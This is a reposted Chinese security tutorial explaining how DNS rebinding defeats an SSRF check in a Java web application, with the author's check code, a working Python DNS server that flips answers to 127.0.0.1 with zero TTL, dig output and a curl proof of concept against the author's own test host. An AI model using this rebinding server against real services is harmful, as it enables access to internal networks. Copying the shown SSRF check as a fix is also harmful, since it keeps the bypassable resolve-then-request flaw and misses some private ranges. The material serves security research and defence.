Use DNS Rebinding to Bypass SSRF in Java

hades / 2017-09-13 03:04:00 / 浏览数 3736 安全技术 漏洞分析 顶(0) 踩(0)

---

https://joychou.org/web/use-dnsrebinding-to-bypass-ssrf-in-java.html

0x00 前言

本篇文章会比较详细的介绍，如何使用DNS Rebinding绕过Java中的SSRF。网上有蛮多资料介绍用该方法绕过常规的SSRF，但是由于Java的机制和PHP等语言不太一样。所以，我觉得，有必要单独拿出来聊一聊，毕

0x01 SSRF修复逻辑

1. 取URL的Host
2. 取Host的IP
3. 判断是否是内网IP，是内网IP直接return，不再往下执行
4. 请求URL
5. 如果有跳转，取出跳转URL，执行第1步
6. 正常的业务逻辑里，当判断完成最后会去请求URL，实现业务逻辑。

所以，其中会发起DNS请求的步骤为，第2、4、6步，看来至少要请求3次。因为第6步至少会执行1次DNS请求。

另外，网上有很多不严谨的SSRF修复逻辑不会判断跳转，导致可以被Bypass。

0x02 DNS Rebinding

我个人理解如下：

> 通过自己搭建DNS服务器，返回自己定义的IP，进行一些限制的绕过。

所以，我们可以利用DNS Rebinding在第一次发起DNS请求时，返回外网IP，后面全部返回内网IP 这种方式来绕过如上的修复逻辑。

我们来看下是如何绕过的。

首先，修复逻辑中第2步发起DNS请求，DNS服务器返回一个外网IP，通过验证，执行到第四步。
接着，修复逻辑中第4步会发起DNS请求，DNS服务器返回一个内网IP。此时，SSRF已经产生。

TTL

不过，这一切都是在TTL为0的前提下。

什么是TTL？

> TTL(Time To Live)是DNS缓存的时间。简单理解，假如一个域名的TTL为10s，当我们在这10s内，对该域名进行多次DNS请求，DNS服务器，只会收到一次请求，其他的都是缓存。

所以搭建的DNS服务器，需要设置TTL为0。如果不设置TTL为0，第二次DNS请求返回的是第一次缓存的外网IP，也就不能绕过了。

DNS请求过程

步骤如下：

1. 查询本地DNS服务器(`/etc/resolv.conf`)
2. 如果有缓存，返回缓存的结果，不继续往下执行
3. 如果没有缓存，请求远程DNS服务器，并返回结果

DNS缓存机制

平时使用的MAC和Windows电脑上，为了加快HTTP访问速度，系统都会进行DNS缓存。但是，在Linux上，默认不会进行DNS缓存(https://stackoverflow.com/question
，除非运行nscd等软件。

不过，知道Linux默认不进行DNS缓存即可。这也解释了，我为什么同样的配置，我在MAC上配置不成功，Linux上配置可以。

需要注意的是，IP为8.8.8.8的DNS地址，本地不会进行DNS缓存。

0x03 漏洞测试

准备如下环境：

- Java Web应用
- DNS服务器

我们要先了解下Java应用的TTL。Java应用的默认TTL为10s，这个默认配置会导致DNS Rebinding绕过失败。也就是说，默认情况下，Java应用不受DNS Rebinding影响。

Java TTL的值可以通过下面三种方式进行修改：

1. JVM添加启动参数`-Dsun.net.inetaddr.ttl=0`
2. 通过代码进行修改`java.security.Security.setProperty(&quot;networkaddress.cache.negative.ttl&quot; , &quot;0&quot;);`
3. 修改`/Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home/jre/lib/security/java.security`(■MAC■■■■)里的networkadd

这个地方是个大坑，我之前在测试时，一直因为这个原因，导致测试不成功。

这也是利用DNS Rebinding过程中，Java和PHP不一样的地方。在测试PHP时，这份PHP代码用DNS Rebinding可以绕过，类似的代码Java就不能被绕过了。

SSRF漏洞搭建

用Java Spring写了一个漏洞测试地址为
http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me。URL会进行SSRF验证。

SSRF修复代码如下。也可以在Github上查看https://github.com/JoyChou93/trident

```
/*
* check SSRF (■■■■■■■URL■IP■■■■■IP)
* ■■■■■IP■■■false■■■checkSSRF■■■■■■■■true■■■■■■true
* URL■■■HTTP■■
* ■■■■■■■■■■3s
 */
public static Boolean checkSSRF(String url) {

HttpURLConnection connection;
String finalUrl = url;
try {
do {
// ■■■■■■■URL■■■■■ip
Boolean bRet = isInnerIpFromUrl(finalUrl);
if (bRet) {
return false;
}

connection = (HttpURLConnection) new URL(finalUrl).openConnection();
connection.setInstanceFollowRedirects(false);
connection.setUseCaches(false); // ■■■false■■■■■■■■■■■■■■■■URL
connection.setConnectTimeout(3*1000); // ■■■■■■■■■3s
//connection.setRequestMethod("GET");
connection.connect(); // send dns request
int responseCode = connection.getResponseCode(); // ■■■■■■ no dns request
if (responseCode >= 300 && responseCode <=307 && responseCode != 304 && responseCode != 306) {
String redirectedUrl = connection.getHeaderField("Location");
if (null == redirectedUrl)
break;
finalUrl = redirectedUrl;
// System.out.println("redirected url: " + finalUrl);
} else
break;
} while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);
connection.disconnect();
} catch (Exception e) {
return true;
}
return true;
}

/*
■■IP■
10.0.0.1 - 10.255.255.254       (10.0.0.0/8)
192.168.0.1 - 192.168.255.254   (192.168.0.0/16)
127.0.0.1 - 127.255.255.254     (127.0.0.0/8)
172.16.0.1 - 172.31.255.254     (172.16.0.0/12)
```

```
*/
public static boolean isInnerIp(String strIP) throws IOException {
try{
String[] ipArr = strIP.split("\\.");
if (ipArr.length != 4){
return false;
}

int ip_split1 = Integer.parseInt(ipArr[1]);

return (ipArr[0].equals("10") ||
ipArr[0].equals("127") ||
(ipArr[0].equals("172") && ip_split1 >= 16 && ip_split1 <=31) ||
(ipArr[0].equals("192") && ipArr[1].equals("168")));
}catch (Exception e) {
return false;
}

}
/*
* ■■■■■IP
* ■■■■■■■ip■■■■ip
* 167772161■■■10.0.0.1
* 127.0.0.1.xip.io■■■127.0.0.1
*/
public static String DomainToIP(String domain) throws IOException{
try {
InetAddress IpAddress = InetAddress.getByName(domain); //  send dns request
return IpAddress.getHostAddress();
}
catch (Exception e) {
return "";
}
}

/*
■URL■■■■■
■■■http/https■■
*/
public static String getUrlDomain(String url) throws IOException{
try {
URL u = new URL(url);
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
throw new IOException("Protocol error: " + u.getProtocol());
}
return u.getHost();
} catch (Exception e) {
return "";
}

}
```

搭建DNS服务器

域名配置如下：

此时，当访问dns_rebind.joychou.me域名，先解析该域名的DNS域名为ns.joychou.me，ns.joychou.me指向47这台服务器。

DNS Server代码如下，放在47服务器上。其功能是将第一次DNS请求返回35.185.163.135，后面所有请求返回127.0.0.1

dns.py

```
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
ip = "35.185.163.135"
```

```
else:
ip = "127.0.0.1"
if name not in record:
record[name] = 0
record[name] += 1
print name + " ===> " + ip
answer = dns.RRHeader(
name = name,
type = dns.A,
cls = dns.IN,
ttl = 0,
payload = dns.Record_A(address = b'%s' % ip, ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
```

运行python dns.py，dig查看下返回。

```
➜  security dig @8.8.8.8 dns_rebind.joychou.me

; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40376
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;dns_rebind.joychou.me.     IN  A

;; ANSWER SECTION:
dns_rebind.joychou.me.  0   IN  A   35.185.163.135

;; Query time: 203 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep  8 14:52:43 2017
;; MSG SIZE  rcvd: 55

➜  security dig @8.8.8.8 dns_rebind.joychou.me

; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14172
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;dns_rebind.joychou.me.     IN  A

;; ANSWER SECTION:
dns_rebind.joychou.me.  0   IN  A   127.0.0.1

;; Query time: 172 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep  8 14:52:45 2017
```

```
;; MSG SIZE  rcvd: 55
```

可以看到第一次返回35.185.163.135，第二次返回127.0.0.1。 dig加上@8.8.8.8是指定本地DNS地址为8.8.8.8，因为该地址不会有缓存。每dig一次，DNS Server都会收到一次请求。

绕过POC

```
curl 'http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me'
```

返回`test.joychou.org`页面内容`It works.`
在测试时，我把该服务器的80端口已经限制为只有本地能访问，所以，我们的POC已经绕过内网的限制。

0x04 总结

- Java默认不存在被DNS Rebinding绕过风险（TTL默认为10）
- PHP默认会被DNS Rebinding绕过
- Linux默认不会进行DNS缓存

0x05 参考

1. <http://blog.csdn.net/u011721501/article/details/54667714>
2. <https://stackoverflow.com/questions/11020027/dns-caching-in-linux>
3. <https://bobao.360.cn/learning/detail/3074.html>
4. <https://github.com/chengable/safe_code/blob/master/ssrf_check.php>
5. <https://stackoverflow.com/questions/1256556/any-way-to-make-java-honor-the-dns-caching-timeout-ttl>

上一篇：企业软件安全发布流程 下一篇：Catfish-4.5.7利用TP...

1. 2 条回复

wooyun 2017-09-14 02:06:13

冰总叼叼叼

0 回复Ta

hades 2017-09-14 02:08:17

和我没关系~~

0 回复Ta

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板